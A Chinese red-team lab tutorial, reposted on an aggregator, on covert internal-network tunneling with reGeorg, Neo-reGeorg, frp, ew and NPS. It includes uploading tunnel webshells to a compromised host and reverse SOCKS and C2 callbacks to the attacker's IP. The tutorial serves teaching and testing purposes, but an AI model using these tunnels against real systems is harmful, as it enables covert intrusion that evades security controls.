红队攻防实战之内网穿透隐秘隧道搭建

别低头，皇冠会掉；别流泪，贱人会笑。

本文首发于先知社区，原创作者即是本人

0x00 前言

构建内网隐蔽通道，从而突破各种安全策略限制，实现对目标服务器的完美控制。
当我们从外网成功获得攻击点的时候，通过反弹shell、端口转发、内网穿透等技巧，来进一步入侵内网服务器。当我们取得内网目标服务器的控制权限，通过隧道技术绕过网络限制，实现隐蔽C2服务器的通信。

网络拓扑：

在这里插入图片描述

网络配置IP如下：

攻击机：
win10：192.168.1.6
kali：192.168.1.7靶场：
VM1：对外边界服务器，win7
192.168.52.143
192.168.1.5VM2：域成员，2003
192.168.52.141VM3：域控，2008
192.168.52.138

0x01 reGeorge

1.1 环境

攻击机kali
reGeorge软件，下载：https://github.com/sensepost/reGeorg
运行程序需要的环境：
Python、pip、urllib3；

1.2 部署配置

上传tunnel.nosocket.php
前提条件，已获得跳板机的权限（都打到内网了，跳板机的权限肯定获得了），server-bt系统的跳板机是php环境，将reGeorge中的tunnel.nosocket.php上传至网站

在这里插入图片描述

并访问http://192.168.1.5/tunnel.nosocket.php
访问成功

在这里插入图片描述

启动reGeorg
python reGeorgSocksProxy.py -p 1090 -u http://192.168.1.5/tunnel.nosocket.php
表示本地1090端口的流量都转发给指定的那个url，1090是指定的监听端口；

在这里插入图片描述

配置代理
然后配置proxychains代理链的配置文件vim /etc/proxychains.conf，将代理设置成本机的1090端口：socks5 127.0.0.1 1090

在这里插入图片描述

1.3 测试

命令前面加上proxychains 运行命令，（跳板机php环境已启动，存在主页index.php）
proxychains curl http://192.168.52.143

在这里插入图片描述

reGeorg控制端

在这里插入图片描述

0x02 Neo-reGeorg

1.1 使用

设置密码并生成隧道文件，运行后会生成一个neoreg_server目录，里面包含了各种语言类型的隧道文件

$ python3 neoreg.py generate -k <password>
[+] Create neoreg server files:=> neoreg_server/key.txt.   # 密码=> neoreg_server/tunnel.nosocket.php=> neoreg_server/tunnel.js=> neoreg_server/tunnel.php=> neoreg_server/tunnel.ashx=> neoreg_server/tunnel.aspx=> neoreg_server/tunnel.tomcat.5.jsp=> neoreg_server/tunnel.tomcat.5.jspx=> neoreg_server/tunnel.jsp=> neoreg_server/tunnel.jspx

python3 neoreg.py generate -k jdxyxd

在这里插入图片描述

1.2 部署配置

上传tunnel.php
前提条件，已获得跳板机的权限（都打到内网了，跳板机的权限肯定获得了），server-bt系统的跳板机是php环境，将reGeorge中的tunnel.php上传至网站

在这里插入图片描述

并访问http://192.168.1.5/tunnel.php
访问成功

在这里插入图片描述

启动Neo-reGeorg
python3 neoreg.py -k jdxyxd -u http://192.168.1.5/tunnel.php #表示本地1080端口的流量都转发给指定的那个url，1080是指定的监听端口；

在这里插入图片描述

配置代理
然后配置proxychains代理链的配置文件vim /etc/proxychains.conf，将代理设置成本机的1080端口：socks5 127.0.0.1 1080

在这里插入图片描述

1.3 测试

命令前面加上proxychains 运行命令，（跳板机php环境已启动，存在主页index.php）
proxychains curl http://192.168.52.143

在这里插入图片描述

0x03 frp

软件：frp_0.33.0_windows_amd64 ，frp_0.34.1_linux_amd64
代理工具Proxifier（windows下通常用可视化的proxifier、SocksCap64，Linux在proxychains设置）

1.1 攻击机为windows环境

frp的Socks5反向代理：
(HTTP反向代理修改plugin模块和proxifier代理类型即可)
攻击机-服务端：
设置frps.ini

[common] 
bind_port = 7000

在这里插入图片描述

然后运行
frps.exe -c frps.ini

在这里插入图片描述

跳板机-客户端：server_addr为攻击机IP
设置frpc.ini

[common] 
server_addr = 192.168.1.6
server_port = 7000 [socks5] 
type = tcp 
remote_port = 8010 
plugin = socks5

在这里插入图片描述

然后运行
frpc.exe -c frpc.ini

在这里插入图片描述

SwitchyOmega配置

在这里插入图片描述

浏览器访问192.168.52.143 访问成功

在这里插入图片描述

proxifier配置

在这里插入图片描述

浏览器访问192.168.52.143 访问成功

在这里插入图片描述

0x04 ew

1.1 攻击机为kali环境

ew正向代理

1.正向连接跳板机在win7机器上执行(ew_for_windows上传到跳板机)
ew_for_win_32.exe -s ssocksd -l 1090

在这里插入图片描述

这里还需要修改proxychains.conf配置文件
$ vim /etc/proxychains.conf socks5 192.168.1.5 1090

在这里插入图片描述

测试执行：
proxychains curl http://192.168.52.143/

在这里插入图片描述

ew反向代理

服务端-攻击机kali
执行：
./ew_for_linux -s rcsocks -l 1080 -e 1024

在这里插入图片描述

客户端-跳板机
执行
ew.exe -s rssocks -d 192.168.1.7 -e 1024

在这里插入图片描述

配置proxychains代理链
在配置文件/etc/proxychains.conf，
将代理设置成本机的1080端口(root用户修改)：

在这里插入图片描述

测试执行：
proxychains curl http://192.168.52.143/

在这里插入图片描述

0x05 NPS隐秘隧道搭建

1）建立连接

此场景攻击机使用Kali，在攻击机运行命令“./nps install”安装服务端，如图所示。

在这里插入图片描述

运行命令“nps start”启动服务端，如图所示。

在这里插入图片描述

通过8080端口访问服务端的Web界面，如图所示。

http://192.168.1.7:8080

在这里插入图片描述

输入默认用户名、密码admin、123登录，登录后可以看到默认客户端连接端口为8024，登录后的Web界面如图所示。

在这里插入图片描述

添加客户端，如图所示，配置唯一验证密钥，验证密钥在从客户端连接到服务端时使用，此处配置为“any”，然后开启压缩和加密传输。

在这里插入图片描述

最后在边界主机运行命令“npc.exe -server=192.168.1.7:8024 -vkey=any”来连接服务端，建立连接如图所示。

在这里插入图片描述

连接成功后在攻击机的Web界面可看到客户端上线，如图所示。

在这里插入图片描述

2）TCP隧道

客户端上线后便可以通过Web界面单击上线的客户端、查看选项、配置隧道，例如，若想访问内网主机的3389端口，则可通过TCP隧道将内网主机的3389端口映射到攻击机的1111端口，单击“新增”，配置目标“192.168.52.143:3389”，配置服务端口为“1111”，TCP隧道如图所示。

在这里插入图片描述

TCP隧道建立成功后，即可通过连接攻击机的1111端口来连接内网主机的远程桌面，在攻击机运行命令“rdesktop 192.168.1.7:1111”连接本地的1111端口，隧道的使用如图所示。

在这里插入图片描述

3）SOCKS5代理

若想搭建HTTP代理或SOCKS代理，只需选择对应模式，填写服务端端口即可，以SOCKS为例，选择模式为“SOCKS代理”，如图所示，服务端端口为“1234”。

在这里插入图片描述

配置好SOCKS代理后，便可使用攻击机192.168.1.7的1234端口访问内网，配置代理服务器

在这里插入图片描述

访问内网主机站点http://192.168.52.143/
使用代理如图所示。

在这里插入图片描述

或者配置proxifier

在这里插入图片描述

访问内网主机站点http://192.168.52.143/

在这里插入图片描述

文笔生疏，措辞浅薄，望各位大佬不吝赐教，万分感谢。

免责声明：由于传播或利用此文所提供的信息、技术或方法而造成的任何直接或间接的后果及损失，均由使用者本人负责， 文章作者不为此承担任何责任。

转载声明：各家兴 拥有对此文章的修改和解释权，如欲转载或传播此文章，必须保证此文章的完整性，包括版权声明等全部内容。未经作者允许，不得任意修改或者增减此文章的内容，不得以任何方式将其用于商业目的。

CSDN:
https://blog.csdn.net/weixin_48899364?type=blog公众号：
https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg5NTU2NjA1Mw==&action=getalbum&album_id=1696286248027357190&scene=173&from_msgid=2247485408&from_itemidx=1&count=3&nolastread=1#wechat_redirect博客:
https://rdyx0.github.io/先知社区：
https://xz.aliyun.com/u/37846SecIN:
https://www.sec-in.com/author/3097FreeBuf：
https://www.freebuf.com/author/%E5%9B%BD%E6%9C%8D%E6%9C%80%E5%BC%BA%E6%B8%97%E9%80%8F%E6%8E%8C%E6%8E%A7%E8%80%85

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.hqwc.cn/news/212110.html

如若内容造成侵权/违法违规/事实不符，请联系编程知识网进行投诉反馈email:809451989@qq.com，一经查实，立即删除！

相关文章

YOLO目标检测——泄露检测数据集下载分享【含对应voc、coco和yolo三种格式标签】

YOLO目标检测——泄露检测数据集下载分享【含对应voc、coco和yolo三种格式标签】

实际项目应用&#xff1a;泄露检测数据集说明&#xff1a;泄露检测数据集&#xff0c;真实场景的高质量图片数据&#xff0c;数据场景丰富&#xff0c;含多个类别标签说明&#xff1a;使用lableimg标注软件标注&#xff0c;标注框质量高&#xff0c;含voc(xml)、coco(json)和yo…
阅读更多...
【double check 读写锁】

【double check 读写锁】

使用double check 读写锁 读多写少场景 记录下 //来源 jdbc 中的查询连接信息 //public abstract class ConnectionUrl implements DatabaseUrlContainer public static ConnectionUrl getConnectionUrlInstance(String connString, Properties info) {if (connString null…
阅读更多...
c++|类和对象(上)

c++|类和对象(上)

目录 一、面向过程和面向对象初步认识 二、类的引入和定义 2.1类的引入 2.2类的定义 三、类的访问限定符及封装 3.1访问限定符 3.2封装 四、类的作用域 五、类的实例化 六、类的对象大小的计算 6.1如何计算对象的大小 6.2类对象的存储方式 七、类成员函数的thi…
阅读更多...
Leetcode 205. 同构字符串

Leetcode 205. 同构字符串

文章目录 题目代码&#xff08;11.23 手刷看解析&#xff09; 题目 Leetcode 205. 同构字符串 代码&#xff08;11.23 手刷看解析&#xff09; 知识点 数组的长度是.length&#xff0c;是一个属性&#xff0c;其他数据类型是函数方法&#xff0c;要用.length()String的方法&…
阅读更多...
C++初阶 | [五] 内存管理

C++初阶 | [五] 内存管理

摘要&#xff1a;new and delete&#xff0c;定位new&#xff0c;&#xff08;C内存管理的方式&#xff09;&#xff0c;malloc/free和new/delete的区别&#xff0c;内存泄漏 关于内存&#xff1a; 栈又叫堆栈——非静态局部变量/函数参数/返回值等等&#xff0c;栈是向下增长…
阅读更多...
excel单元格加背景颜色不生效？

excel单元格加背景颜色不生效？

如果在 Excel 中设置单元格背景颜色而发现不生效&#xff0c;可能有几个原因。以下是一些常见的解决方法&#xff1a; 1. **单元格锁定&#xff1a;** 检查所在单元格是否被锁定。如果单元格被锁定&#xff0c;并且工作表被保护&#xff0c;你可能无法更改其背景颜色。在工作表…
阅读更多...
批量插入SQL 错误 [933] [42000]: ORA-00933: SQL 命令未正确结束

批量插入SQL 错误 [933] [42000]: ORA-00933: SQL 命令未正确结束

使用DBeaver向【oracle数据库】插入大量数据 INSERT INTO Student(name,sex,age,address,birthday) VALUES(Nike,男,18,北京,2000-01-01) ,(Nike,男,18,北京,2000-01-01) ,(Nike,女,18,北京,2000-01-01) ,(Nike,女,18,北京,2000-01-01) ,(Nike,男,18,北京,2000-01-01) ,(Nike…
阅读更多...
【算法】缓存淘汰算法

【算法】缓存淘汰算法

目录 1.概述2.代码实现2.1.FIFO2.2.LRU2.3.LFU2.4.Clock2.5.Random 3.应用 1.概述 缓存淘汰策略是指在缓存容量有限的情况下&#xff0c;当缓存空间不足时决定哪些缓存项应当被移除的策略。缓存淘汰策略的目标是尽可能地保持缓存命中率高&#xff0c;同时合理地利用有限的缓存…
阅读更多...
筑牢思想防线——建行驻江门市分行纪检组举办2023年清廉合规大讲堂

筑牢思想防线——建行驻江门市分行纪检组举办2023年清廉合规大讲堂

为推动廉洁教育打通“最后一公里”&#xff0c;近日&#xff0c;建行驻江门市分行纪检组举办江门市分行2023年清廉合规大讲堂。 本次大讲堂检察官结合一线办案经历&#xff0c;从防范化解金融风险、预防金融从业人员犯罪等方面对全辖员工进行了深入浅出地的讲解&#xff0c;引导…
阅读更多...
GitHub桌面版

GitHub桌面版

GitHub桌面版 一、GitHub 桌面版二、clone 仓库三、更新仓库 一、GitHub 桌面版 二、clone 仓库 三、更新仓库
阅读更多...
WordPress网站如何修复数千个帖子的SEO错误

WordPress网站如何修复数千个帖子的SEO错误

在本教程中&#xff0c;我们将向您展示如何解决您经常犯的SEO错误。 最好的是您不必花费太多时间&#xff0c;因为您不需要打开并编辑每个帖子。 相反&#xff0c;我们将向您展示如何使用 WordPress 内的电子表格来修复 WordPress 帖子的 SEO。 在这里&#xff0c;我们为您提…
阅读更多...
【精选】​​深度学习：构建卷积神经网络的表情识别系统（源码＆教程）

【精选】​​深度学习：构建卷积神经网络的表情识别系统（源码＆教程）

1.研究背景与意义 随着社交媒体和在线通信的普及&#xff0c;人们越来越多地使用表情符号来表达情感和情绪。表情识别系统的发展成为一个重要的研究领域&#xff0c;旨在通过计算机自动识别和理解人类的表情&#xff0c;从而提高人机交互的效果和用户体验。 传统的表情识别方…
阅读更多...
推荐文章
最新文章

Copyright @ 2022~2023